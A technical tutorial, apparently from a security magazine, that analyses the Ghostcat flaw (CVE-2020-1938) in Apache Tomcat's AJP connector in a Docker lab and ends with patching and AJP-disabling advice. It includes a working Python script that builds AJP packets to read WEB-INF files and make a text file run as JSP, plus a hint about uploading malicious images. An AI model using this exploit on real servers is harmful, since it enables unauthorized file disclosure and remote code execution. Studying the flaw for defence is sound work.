Ghostcat. How to exploit a new RCE vulnerability in Apache Tomcat

This article addresses a vulnerability in Apache Tomcat that enables the attacker to read files on the server and, under certain conditions, execute arbitrary code. The problem lies in the implementation of the AJP protocol used to communicate with a Tomcat server. Most importantly, the attacker does not need any rights in the target system to exploit this vulnerability.

Tomcat is an open-source servlet container. It is written in Java and implements such specifications as JavaServer Pages (JSP) and JavaServer Faces (JSF). Tomcat is a popular web server that is frequently used in the corporate environment. It is installed, either as an independent solution or a servlet container, in various application servers (e.g. GlassFish or JBoss).

The bug was discovered by a researcher at Chaitin Tech earlier this year. The vulnerability was recognized critical even and received a name, Ghostcat, and a logo.

The bug enables the attacker to read arbitrary files on the target system inside the appBase directory. The Apache JServ Protocol (AJP) implementation allows to control attributes that form paths to the requested files. A specially crafted request to the server allows to read the content of files that are inaccessible under normal circumstances. If the attacker manages to upload a file to the server, the vulnerability can be used to remotely execute arbitrary code.

INFO

The vulnerability identifier is CVE-2020-1938. The error is present in actual branches of the program distributions and affects all Apache Tomcat versions older than 9.0.31, 8.5.51, and 7.0.100.

Test system

First of all, I need a system to test the vulnerability. A simple way to get it is to run a Docker container from the official Tomcat repository.

docker run -it --rm -p 8080:8080 -p 8009:8009 tomcat:9.0.30

It is important to share port 8009 because it is used by the AJP protocol that contains the vulnerability.

However, I want to debug the application myself and will use another method. The debugging will be performed in IntelliJ IDEA. First, I have to download a vulnerable Tomcat version, e.g. 9.0.30. I unpack the distribution and open the project in IDEA. Then I create a new debug configuration using the Remote template.

Creating a Remote template in IDEA

Creating a Remote template in IDEA

The string in the Command line arguments field contains parameters that must be specified prior to launching the server. I suggest using version JDK 1.4.x.

Debug configuration. Arguments required to launch Tomcat in the remote debugging mode

Debug configuration. Arguments required to launch Tomcat in the remote debugging mode

The parameters can be passed to the Docker container using the -e or --env keys. The JAVA_OPTS environment variable is used to pass arguments to the Tomcat servlet engine. Note the suspend option: if it is enabled (suspend=y), Java will suspend the deployment of the virtual machine and wait for the debugger to connect; the deployment will be resumed only after the successful connection. In my case, the string looks as follows:

-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=*:5005

Time to launch the container. Don’t forget to forward the port assigned for remote debugging.

docker run -it --rm -p 8080:8080 -p 8009:8009 -p 5005:5005 --name=tomcatrce --hostname=tomcatrce -e "JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=*:5005" tomcat:9.0.30
Running Tomcat server 9.0.30

Running Tomcat server 9.0.30

I open the browser, navigate to the URL of the running server (don’t forget the port number: 8080), and see the 404 error page. This is because in the last versions of the official Tomcat Docker container, the webapps folder containing standard applications has been renamed into webapps.dist. All I have to do is delete the empty webapps folder and create a symlink to the original version of the directory.

docker exec tomcatrce rm -rf /usr/local/tomcat/webapps
docker exec tomcatrce ln -s /usr/local/tomcat/webapps.dist /usr/local/tomcat/webapps

I refresh the page and see the Tomcat greeting.

 Tomcat greeting page

Tomcat greeting page

Tomcat is up and running; now I need a frontend to analyze the AJP protocol. For this purpose, I create another Debian container.

docker run -it --rm -p 80:80 --name=apache --hostname=apache --link=tomcatrce debian /bin/bash

The article heading clearly indicates what web server I am going to use as the front-end: Apache. Installing it:

apt update && apt install -y nano apache2

I chose Apache because it offers a simpler way to configure it as a proxy to Tomcat. But you can use any other web server if you want.

Enabling the module that proxies the AJP traffic.

a2enmod proxy_ajp

Then I edit the standard config of the virtual host (/etc/apache2/sites-enabled/000-default.conf) and specify the Tomcat address.

ProxyPass / ajp://tomcatrce:8009/

Time to restart Apache.

service apache2 restart
Proxying traffic to Tomcat via Apache over AJP

Proxying traffic to Tomcat via Apache over AJP

In addition to the web server, I need a sniffer, for instance, Wireshark. Now the test system is ready. By the way, if you don’t like Docker, you may download a version with ready-to-use binaries from the developer’s website. All versions are available in the archive section.

Time to examine the vulnerability.

Vulnerability details. Reading arbitrary files on the server

Apache JServ Protocol (AJP) is a binary protocol designed as a more efficient alternative to HTTP. In other words, AJP is an optimized, more powerful, and highly scalable version of HTTP.

AJP is normally used to balance the load when one or several external web servers (front-end) send requests to the application server(s). The sessions are passed to the right servers by a special routing mechanism where each application server gets its own name.

Modern Tomcat versions use AJP 1.3 (AJP13). Because this is a binary protocol, the browser cannot send requests to AJP13 directly. Accordingly, any popular web server (Nginx, Apache, IIS, etc.) should be used as the front-end.

Interaction with a Tomcat web server through the "web server-AJP" combination

Interaction with a Tomcat web server through the "web server-AJP" combination

WWW

More information on this protocol is available in the official documentation.

By default, Tomcat is waiting for AJP requests on port 8009.

/tomcat9.0.30/conf/server.xml


As you can see, there is no address directive; as a result; AJP is available on all IPv4 addresses of the local machine.

By default, Tomcat listens to the AJP port on all IPv4 addresses

By default, Tomcat listens to the AJP port on all IPv4 addresses

This configuration is very unsafe, and I am going to show why.

First of all, it is necessary to understand the format of AJP packets. I launch Wireshark and generate a legitimate request to the server over AJP. The front-end (i.e. Apache web server) will help me in this.

Wireshark sniffs AJP13 traffic from Apache to Tomcat

Wireshark sniffs AJP13 traffic from Apache to Tomcat

The first two bytes in the packet constitute the Magic field whose value changes depending on the traffic direction. Packets sent from the web server to the Tomcat container begin from 0x1234, while packets sent in the opposite direction (i.e. from the container to the web server) begin from 0x4142 (the AB string in ASCII).

The next 2 bytes define the size of the packet body (an integer numerical value). In most cases, the 5th byte is the code indicating the type of the message. The packet body length count starts from it.

The web server can send to Tomcat the following types of messages.

Types of packets that can be sent to Tomcat container

Types of packets that can be sent to Tomcat container

A packet with the code 0x7 (Shutdown) immediately attracts attention because it shuts the server down. Too bad, such packets are processed only if they have been sent from the host where Tomcat is running.

The code 0х2 is of utmost interest. It is used to send, for instance, GET/POST messages. The body format of such a message is as follows:

AJP13_FORWARD_REQUEST :=
    prefix_code      (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
    method           (byte)
    protocol         (string)
    req_uri          (string)
    remote_addr      (string)
    remote_host      (string)
    server_name      (string)
    server_port      (integer)
    is_ssl           (boolean)
    num_headers      (integer)
    request_headers *(req_header_name req_header_value)
    attributes      *(attribut_name attribute_value)
    request_terminator (byte) OxFF

The next field after the code is the request method. Below are the basic methods and their byte codes:

OPTIONS => 1
GET     => 2
HEAD    => 3
POST    => 4
PUT     => 5
DELETE  => 6
TRACE   => 7
/tomcat9.0.30/java/org/apache/coyote/ajp/Constants.java
// Translates integer codes to names of HTTP methods
private static final String [] methodTransArray = {
    "OPTIONS",
    "GET",
    "HEAD",
    "POST",
    "PUT",
    "DELETE",
    "TRACE",
    ...

My packet uses the GET method; therefore, the byte value is 0x2.

AJP packet uses the GET method

AJP packet uses the GET method

The rest of the packet content is pretty standard and resembles an HTTP request. After the is_ssl parameter, the request_headers block begins. The next two bytes (num_headers) specify the total number of headers in the request. Then the headers are listed. Each header has the following format:

0xA0 + [1 byte] + [2 bytes] + [string_equal_to_header_length] + [byte 0x00]

Standard header codes are specified in the protocol.

Standard HTTP header codes in the AJP protocol

Standard HTTP header codes in the AJP protocol

/tomcat9.0.30/java/org/apache/coyote/ajp/Constants.java
// id's for common request headers
public static final int SC_REQ_ACCEPT          = 1;
public static final int SC_REQ_ACCEPT_CHARSET  = 2;
public static final int SC_REQ_ACCEPT_ENCODING = 3;
public static final int SC_REQ_ACCEPT_LANGUAGE = 4;
public static final int SC_REQ_AUTHORIZATION   = 5;
public static final int SC_REQ_CONNECTION      = 6;
public static final int SC_REQ_CONTENT_TYPE    = 7;
public static final int SC_REQ_CONTENT_LENGTH  = 8;
public static final int SC_REQ_COOKIE          = 9;
public static final int SC_REQ_COOKIE2         = 10;
public static final int SC_REQ_HOST            = 11;
public static final int SC_REQ_PRAGMA          = 12;
public static final int SC_REQ_REFERER         = 13;
public static final int SC_REQ_USER_AGENT      = 14;

Some headers are extremely important; for instance, if content-length (0xA008) is present and non-zero, Tomcat assumes that the request has a body (like, for instance, a POST request) and tries to read a separate packet.

The attributes block goes after the headers block. The use of attributes is optional, but this is the most important part to understand the vulnerability. mechanism.

There are several main attribute types; each of them has its own code, while their structure is identical to the header structure.

[1 byte] + [2 bytes] + [string_equal_to_attribute_length] + [byte 0x00]
/tomcat9.0.30/java/org/apache/coyote/ajp/Constants.java
// Integer codes for common (optional) request attribute names
public static final byte SC_A_CONTEXT       = 1;  // XXX Unused
public static final byte SC_A_SERVLET_PATH  = 2;  // XXX Unused
public static final byte SC_A_REMOTE_USER   = 3;
public static final byte SC_A_AUTH_TYPE     = 4;
public static final byte SC_A_QUERY_STRING  = 5;
public static final byte SC_A_JVM_ROUTE     = 6;
public static final byte SC_A_SSL_CERT      = 7;
public static final byte SC_A_SSL_CIPHER    = 8;
public static final byte SC_A_SSL_SESSION   = 9;
public static final byte SC_A_SSL_KEY_SIZE  = 11;
public static final byte SC_A_SECRET        = 12;
public static final byte SC_A_STORED_METHOD = 13;

Note that the req_attribute type (code 0x0A) can be used to send any number of other attributes as well. The attribute’s name:value pair is transmitted immediately after this code. In that case, the structure looks as follows:

0x0a[type req_attribute] + [2 bytes] + [string_equal_to_attribute_name_length] + [byte 0x00] + [2 bytes] + [string_equal_to_attribute_value_length] + [byte 0x00]

Environmental variables are passed this way, too. After the transmission of required attributes, the terminator byte (0xFF) is sent. It manifests both the end of the list of attributes and also the end of the request packet. The length of the packet body is counted up until it.

Now, let’s get back to Wireshark. Currently, my request contains two attributes.

Additional attributes sent with req_attribute in the AJP packet

Additional attributes sent with req_attribute in the AJP packet

AJP_REMOTE_PORT: 60588
AJP_LOCAL_ADDR: 127.0.0.1

Class AjpProcessor in the code is responsible for processing AJP requests.

/tomcat9.0.30/java/org/apache/coyote/ajp/AjpProcessor.java
/**
 * AJP Processor implementation.
 */
public class AjpProcessor extends AbstractProcessor {

In the debugger, I set a breakpoint at the code section that processes the additional attributes (the prepareRequest method).

/tomcat9.0.30/java/org/apache/coyote/ajp/AjpProcessor.java
private void prepareRequest() {
    ...
    // Decode extra attributes
    String requiredSecret = protocol.getRequiredSecret();
    boolean secret = false;
    byte attributeCode;
    while ((attributeCode = requestHeaderMessage.getByte()) != Constants.SC_A_ARE_DONE) {
        switch (attributeCode) {
        case Constants.SC_A_REQ_ATTRIBUTE :
            requestHeaderMessage.getBytes(tmpMB);
            String n = tmpMB.toString();
            requestHeaderMessage.getBytes(tmpMB);
            String v = tmpMB.toString();

I sent the request again in the browser and switch to the debugger.

Debugging the prepareRequest method. Extracting attributes from the request

Debugging the prepareRequest method. Extracting attributes from the request

The attribute name and value are stored in the n and v variables, respectively. And then some interesting things happen.

/tomcat9.0.30/java/org/apache/coyote/ajp/AjpProcessor.java
if(n.equals(Constants.SC_A_REQ_LOCAL_ADDR)) {
    request.localAddr().setString(v);
} else if(n.equals(Constants.SC_A_REQ_REMOTE_PORT)) {
    try {
        request.setRemotePort(Integer.parseInt(v));
    } catch (NumberFormatException nfe) {
        // Ignore invalid value
    }
} else if(n.equals(Constants.SC_A_SSL_PROTOCOL)) {
    request.setAttribute(SSLSupport.PROTOCOL_VERSION_KEY, v);
} else {
    request.setAttribute(n, v );
}
break;

If the attribute name is not among the processed values, then the control is passed to line 732 where the setAttribute method is called.

/tomcat9.0.30/java/org/apache/coyote/ajp/AjpProcessor.java
request.setAttribute(n, v );
/tomcat9.0.30/java/org/apache/coyote/Request.java
public void setAttribute( String name, Object o ) {
    attributes.put( name, o );
}

But in my case, AJP_REMOTE_PORT is among the attributes having separate condition branches (the constant SC_A_REQ_LOCAL_ADDR).

/tomcat9.0.30/java/org/apache/coyote/ajp/Constants.java
/**
 * AJP private request attributes
 */
public static final String SC_A_REQ_LOCAL_ADDR  = "AJP_LOCAL_ADDR";
public static final String SC_A_REQ_REMOTE_PORT = "AJP_REMOTE_PORT";
public static final String SC_A_SSL_PROTOCOL    = "AJP_SSL_PROTOCOL";

)

What are all these attributes, and why are they so important?

When I make AJP requests to static content (pictures, styles, HTML pages, etc.), Tomcat processes such requests using DefaultServlet.

/tomcat9.0.30/conf/web.xml

    default
    org.apache.catalina.servlets.DefaultServlet
    ...

    default
    /
/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java
public class DefaultServlet extends HttpServlet {

The serveResource method is called when the file content is received. I set a breakpoint at this method and make a GET request to some static element (e.g. [the Tomcat logo] http://apache.vh/tomcat.png).

/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java
protected void doGet(HttpServletRequest request,
                     HttpServletResponse response)
    throws IOException, ServletException {
    // Serve the requested resource, including the data content
    serveResource(request, response, true, fileEncoding);
}
/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java
protected void serveResource(HttpServletRequest request,
                             HttpServletResponse response,
                             boolean content,
                             String inputEncoding)
    throws IOException, ServletException {
    boolean serveContent = content;
    // Identify the requested resource path
    String path = getRelativePath(request, true);

The getRelativePath method is called first; it is used to get the relative path to the file.

/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java
protected String getRelativePath(HttpServletRequest request, boolean allowEmptyPath) {
    ...
    String servletPath;
    String pathInfo;
    if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) != null) {
        ...
    } else {
        pathInfo = request.getPathInfo();
        servletPath = request.getServletPath();
    }

This method creates two variables named pathInfo and servletPath. The first one cannot be controlled using standard requests.

In standard requests, the pathInfo variable is null

In standard requests, the pathInfo variable is null

The servletPath variable is the path to the requested file in the current servlet context. I try to open the file from the root – URI: /tomcat.png. By default, it will be processed by the ROOT servlet.

Path to ROOT and relative path to the downloaded file tomcat.png

Path to ROOT and relative path to the downloaded file tomcat.png

I suppose that you have already noticed an interesting condition (string 434) that passes the control to the above logic. As you can see, some attributes are present there. This condition validates javax.servlet.include.request_uri.

/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java
protected String getRelativePath(HttpServletRequest request, boolean allowEmptyPath) {
    ...
    if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) != null) {
        // For includes, get the info from the attributes
        pathInfo = (String) request.getAttribute(RequestDispatcher.INCLUDE_PATH_INFO);
        servletPath = (String) request.getAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH);
    } else {
/tomcat9.0.30/java/javax/servlet/RequestDispatcher.java
static final String INCLUDE_REQUEST_URI = "javax.servlet.include.request_uri";

If it’s not null, then the path to the file I want to read is formed directly from the attributes. This involves javax.servlet.include.path_info and javax.servlet.include.servlet_path.

/tomcat9.0.30/java/javax/servlet/RequestDispatcher.java
static final String INCLUDE_PATH_INFO = "javax.servlet.include.path_info";
...
static final String INCLUDE_SERVLET_PATH = "javax.servlet.include.servlet_path";

There are no attributes in the current request.

A null variable with attributes in an AJP request sent through the web server

A null variable with attributes in an AJP request sent through the web server

I have to fix this and check how the path is formed in that case. In other words, I need to generate an AJP request including the above-mentioned attributes. The packet will be created using Python 3: this version is optimal for work with binary data.

First of all, I import the struct module.

ajp-packet.py
import struct

Then I create a function to convert strings into the AJP format. This will save me plenty of time.

[2 bytes] +  + [byte 0x00]
ajp-packet.py
def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)

Then I simply go through the request structure. The Magic constant for packets sent from the client to the Apache server goes first.

ajp-packet.py
magic = 0x1234

The next field is length. I will deal with it in the very end because the request must be created first. Therefore, I continue following the structure of AJP13_FORWARD_REQUEST.

AJP13_FORWARD_REQUEST :=
    prefix_code      (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
    method           (byte)
    protocol         (string)
ajp-packet.py
prefix_code = struct.pack("b", 2) # forward request
method = struct.pack("b", 2) # GET
protocol = pack_string("HTTP/1.1")

Then I specify the request URI. It can be used to identify the servlet in whose context the program will search for the file. In other words, if I want to read a file in the examples directory, I have to specify: /examples/filename. Only the directory is important because my goal is to form a path to the file I want to read using attributes. Right now, I am trying to read the file from ROOT and specify: /anything.

ajp-packet.py
req_uri = pack_string("/anything")

I continue the creation of my request.

AJP13_FORWARD_REQUEST :=
    ...
    remote_addr      (string)
    remote_host      (string)
    server_name      (string)
    server_port      (integer)
    is_ssl           (boolean)
    num_headers      (integer)
    request_headers *(req_header_name req_header_value)
    attributes      *(attribut_name attribute_value)
    request_terminator (byte) OxFF
ajp-packet.py
remote_addr = pack_string("127.0.0.1")
remote_host = pack_string(None)
server_name = pack_string("tomcatrce")
server_port = struct.pack(">h", 80)
is_ssl = struct.pack("?", False)

The headers block goes after the ssl flag. I don’t need headers and set their number to zero keeping in mind that each digit in the packet is represented by 2 bytes.

ajp-packet.py
num_headers = struct.pack(">h", 0)

The attributes block goes next. The javax.servlet.include.request_uri attribute can be left null: it just must be present in the packet to pass the condition test. The two other attributes are mutually exchangeable, and the path to the file stored on the server is formed on their basis. I will use javax.servlet.include.path_info, leaving the javax.servlet.include.servlet_path attribute null.

Time to select a file for reading. Let’s try to read /ROOT/WEB-INF/web.xml. Under normal circumstances, it cannot be read because the path is validated during the parsing of the request.

/tomcat9.0.30/java/org/apache/catalina/core/StandardContextValve.java
final class StandardContextValve extends ValveBase {
    ...
    public final void invoke(Request request, Response response)
        ...
        // Disallow any direct access to resources under WEB-INF or META-INF
        MessageBytes requestPathMB = request.getRequestPathMB();
        if ((requestPathMB.startsWithIgnoreCase("/META-INF/", 0))
                || (requestPathMB.equalsIgnoreCase("/META-INF"))
                || (requestPathMB.startsWithIgnoreCase("/WEB-INF/", 0))
                || (requestPathMB.equalsIgnoreCase("/WEB-INF"))) {
            response.sendError(HttpServletResponse.SC_NOT_FOUND);
            return;
        }
Tomcat prohibits direct access to the WEB-INF directory

Tomcat prohibits direct access to the WEB-INF directory

Of course, this happens prior to the receipt of the requested file’s content, and the validation involves only request_uri. Therefore, if I specify this path in the attribute javax.servlet.include.path_info, I should be able to bypass the validation and read the file.

AJP13_FORWARD_REQUEST :=
    ...
    attributes      *(attribut_name attribute_value)
    request_terminator (byte) OxFF
ajp-packet.py
attributes = {
            'javax.servlet.include.request_uri': '',
            'javax.servlet.include.path_info': '/WEB-INF/web.xml',
            'javax.servlet.include.servlet_path': '',
            }
end = struct.pack("B", 0xff)

Then I store all variables into a single one: data. It will be the request body.

ajp-packet.py
data = prefix_code
data += method
data += protocol
data += req_uri
data += remote_addr
data += remote_host
data += server_name
data += server_port
data += is_ssl
data += num_headers

Adding attributes.

ajp-packet.py
attr_code = struct.pack("b", 0x0a) # SC_A_REQ_ATTRIBUTE
for n, v in attributes.items():
    data += attr_code
    data += pack_string(n)
    data += pack_string(v)
data += end # packet terminator byte 0xff

Now I count the length of my request and write it in the header after the Magic constant.

ajp-packet.py
header = struct.pack(">hH", magic, len(data))

Merging the packet header and body together and displaying the result as a hex string.

ajp-packet.py
request = header + data
print(request.hex())

I convert the hex string into binary data with xxd and use standard netcat to send the packet.

python3 ajp-packet.py | xxd -r -p | nc tomcatrce.vh 8009

After sending the packet, I can see in the debugger that I have got into the desired code section.

AJP packet with added attributes

AJP packet with added attributes

Thanks to javax.servlet.include.path_info, the path to the file became /WEB-INF/web.xml instead of /anything specified in request_uri.

Path to the requested file is formed from attributes of the AJP request

Path to the requested file is formed from attributes of the AJP request

Now the resource manager can read this file.

The file /ROOT/WEB-INF/web.xml is read using attributes of the AJP request

The file /ROOT/WEB-INF/web.xml is read using attributes of the AJP request

As you can see, I have exploited the Arbitrary File Read error on the server. Too bad, I cannot exit the webapps directory because the path is sanitized with normalize that is called from the validate method.

/tomcat9.0.30/java/org/apache/catalina/webresources/StandardRoot.java
private String validate(String path) {
    ...
    if (path == null || path.length() == 0 || !path.startsWith("/")) {
        ...
        result = RequestUtil.normalize(path, false);
        ...
    if (result == null || result.length() == 0 || !result.startsWith("/")) {
        throw new IllegalArgumentException(
                sm.getString("standardRoot.invalidPathNormal", path, result));

So, files stored in the web root directory, appbase, and in the config, are accessible for reading.

/tomcat9.0.30/conf/server.xml

The full script can be downloaded for testing purposes from my page on GitHub.

But this is not the only problem caused by manipulations with request attributes.

Arbitrary code execution

As said above, all static content is processed with DefaultServlet. But what about dynamic pages? Tomcat supports JavaServer Pages (JSP) that are processed by JspServlet.

/tomcat9.0.30/java/org/apache/jasper/servlet/JspServlet.java
public class JspServlet extends HttpServlet implements PeriodicEventListener {

JspServlet is called when requests are sent to files having the *.jsp and *.jspx masks.

/tomcat9.0.30/conf/web.xml

    jsp
    org.apache.jasper.servlet.JspServlet
    ...

    jsp
    *.jsp
    *.jspx

The class that will process the request is selected on the basis of the URI: if I request the file /anything.jsp, my request will be processed by JspServlet. The path to the requested file is formed as follows.

/tomcat9.0.30/java/org/apache/jasper/servlet/JspServlet.java
public void service (HttpServletRequest request, HttpServletResponse response)
    ...
    if (jspUri == null) {
        ...
        jspUri = (String) request.getAttribute(
                RequestDispatcher.INCLUDE_SERVLET_PATH);
        if (jspUri != null) {
            ...
            String pathInfo = (String) request.getAttribute(
                    RequestDispatcher.INCLUDE_PATH_INFO);
            if (pathInfo != null) {
                jspUri += pathInfo;
            }
        }

The situation is similar to the one described above: if attributes are present, then the path is formed on their basis. In other words, if I send a request to any file (even a nonexistent one) with the extension .jsp or .jspx and then change the path (so that it leads to another file) using javax.servlet.include.path_info, the file will be interpreted and processed as JavaServer Pages.

So, I create the file test.txt in the ROOT folder.

/ROOT/test.txt
<% out.print("Hello from JSP compiler!"); %>

Then I make the required changes in my script.

ajp-packet.py
req_uri = pack_string("/anything.jsp")
    ...
    'javax.servlet.include.path_info': '/test.txt',

And finally, I send the adjusted request. The jspUri parameter is formed from the attributes, and it points at the text file. However, the file still will be passed to serviceJspFile and executed as JSP.

/tomcat9.0.30/java/org/apache/jasper/servlet/JspServlet.java
public void service (HttpServletRequest request, HttpServletResponse response)
    ...
    serviceJspFile(request, response, jspUri, precompile);
An ordinary text file is interpreted as a JSP script

An ordinary text file is interpreted as a JSP script

The JSP code has been successfully executed; so, I can use any payload to execute system commands.

I assume that you won’t have any problem with the delivery of files containing your payload to the server. Have you ever seen an application without a possibility to upload a file (e.g. a picture)? It’s as easy as pie to upload a picture with malicious code inside.

Numerous scripts automating this attack can be found online (e.g. the AJPy module for Python exploiting the above vulnerability).

Vulnerability demonstration (video)

Conclusions

The examined vulnerability vividly demonstrates that even a small misconfig may expose the entire network to severe risks. My only advice is: configure each infrastructure element thoroughly and disable unused functions and protocols to minimize potential entry points for malefactors.

The vulnerability has been promptly fixed in new Apache Tomcat versions; so, update to 9.0.31, 8.5.51, or 7.0.100 (depending on the branch you use) ASAP. If, for some reason, this is impossible at the moment, I suggest disabling the AJP protocol.

/conf/server.xml.old


/conf/server.xml


If the protocol is in use and cannot be disabled, install patches for your version: (7.x, 8.x, 9.x).


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>